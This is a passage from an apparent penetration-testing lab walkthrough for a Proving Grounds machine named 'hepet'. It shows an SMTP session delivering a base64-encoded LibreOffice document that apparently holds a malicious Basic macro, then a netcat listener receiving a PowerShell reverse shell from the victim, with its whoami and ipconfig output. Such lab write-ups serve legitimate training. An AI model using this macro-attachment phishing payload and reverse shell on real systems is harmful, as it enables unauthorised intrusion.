-> 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
-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
-> dXJhdGlvbnMyL2FjY2VsZXJhdG9yL1BLAQIUAxQAAAAAAHutZFoAAAAAAAAAAAAAAAAYAAAAAAAA
-> AAAAEAD9QRcXAABDb25maWd1cmF0aW9uczIvZmxvYXRlci9QSwECFAMUAAAAAAB7rWRaAAAAAAAA
-> AAAAAAAAFwAAAAAAAAAAABAA/UFNFwAAQ29uZmlndXJhdGlvbnMyL2ltYWdlcy9QSwECFAMUAAAA
-> AAB7rWRaAAAAAAAAAAAAAAAAGAAAAAAAAAAAABAA/UGCFwAAQ29uZmlndXJhdGlvbnMyL21lbnVi
-> YXIvUEsBAhQDFAAAAAAAe61kWgAAAAAAAAAAAAAAABoAAAAAAAAAAAAQAP1BuBcAAENvbmZpZ3Vy
-> YXRpb25zMi9wb3B1cG1lbnUvUEsBAhQDFAAAAAAAe61kWgAAAAAAAAAAAAAAABwAAAAAAAAAAAAQ
-> AP1B8BcAAENvbmZpZ3VyYXRpb25zMi9wcm9ncmVzc2Jhci9QSwECFAMUAAAAAAB7rWRaAAAAAAAA
-> AAAAAAAAGgAAAAAAAAAAABAA/UEqGAAAQ29uZmlndXJhdGlvbnMyL3N0YXR1c2Jhci9QSwECFAMU
-> AAAAAAB7rWRaAAAAAAAAAAAAAAAAGAAAAAAAAAAAABAA/UFiGAAAQ29uZmlndXJhdGlvbnMyL3Rv
-> b2xiYXIvUEsBAhQDFAAAAAAAe61kWgAAAAAAAAAAAAAAABoAAAAAAAAAAAAQAP1BmBgAAENvbmZp
-> Z3VyYXRpb25zMi90b29scGFuZWwvUEsBAhQDFAAAAAAAe61kWgAAAAAAAAAAAAAAAB8AAAAAAAAA
-> AAAQAP1B0BgAAENvbmZpZ3VyYXRpb25zMi9pbWFnZXMvQml0bWFwcy9QSwECFAMUAAAAAAB7rWRa
-> AAAAAAAAAAAAAAAADwAAAAAAAAAAABAA/UENGQAAQmFzaWMvU3RhbmRhcmQvUEsBAhQDFAAAAAgA
-> e61kWk5lg3HUAAAAVgEAABMAAAAAAAAAAAAAALSBOhkAAEJhc2ljL3NjcmlwdC1sYy54bWxQSwEC
-> FAMUAAAACAB7rWRaeYzbnpEDAAAeBwAAGgAAAAAAAAAAAAAAtIE/GgAAQmFzaWMvU3RhbmRhcmQv
-> TW9kdWxlMS54bWxQSwECFAMUAAAACAB7rWRauk6fMNkAAABgAQAAHAAAAAAAAAAAAAAAtIEIHgAA
-> QmFzaWMvU3RhbmRhcmQvc2NyaXB0LWxiLnhtbFBLAQIUAxQAAAAIAHutZFq92ppsVQEAAGkFAAAV
-> AAAAAAAAAAAAAAC0gRsfAABNRVRBLUlORi9tYW5pZmVzdC54bWxQSwECFAMUAAAACAB7rWRapoQw
-> VWAAAACTAAAAGAAAAAAAAAAAAAAAtIGjIAAAVGh1bWJuYWlscy90aHVtYm5haWwucG5nUEsFBgAA
-> AAAaABoAnAYAADkhAAAAAA==
->
-> ------=_MIME_BOUNDARY_000_198727--
->
->
-> .
<- 250 Data received OK.
-> QUIT
<- 221 localhost Service closing channel.
=== Connection closed with remote host.Testing out the second payload as an attachment
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ nnc 8000
listening on [any] 8000 ...
connect to [192.168.45.153] from (UNKNOWN) [192.168.159.140] 49725
PS C:\Program Files\LibreOffice\program> whoami
hepet\ela arwel
PS C:\Program Files\LibreOffice\program> hostname
hepet
PS C:\Program Files\LibreOffice\program> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.159.140
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.159.254Confirmed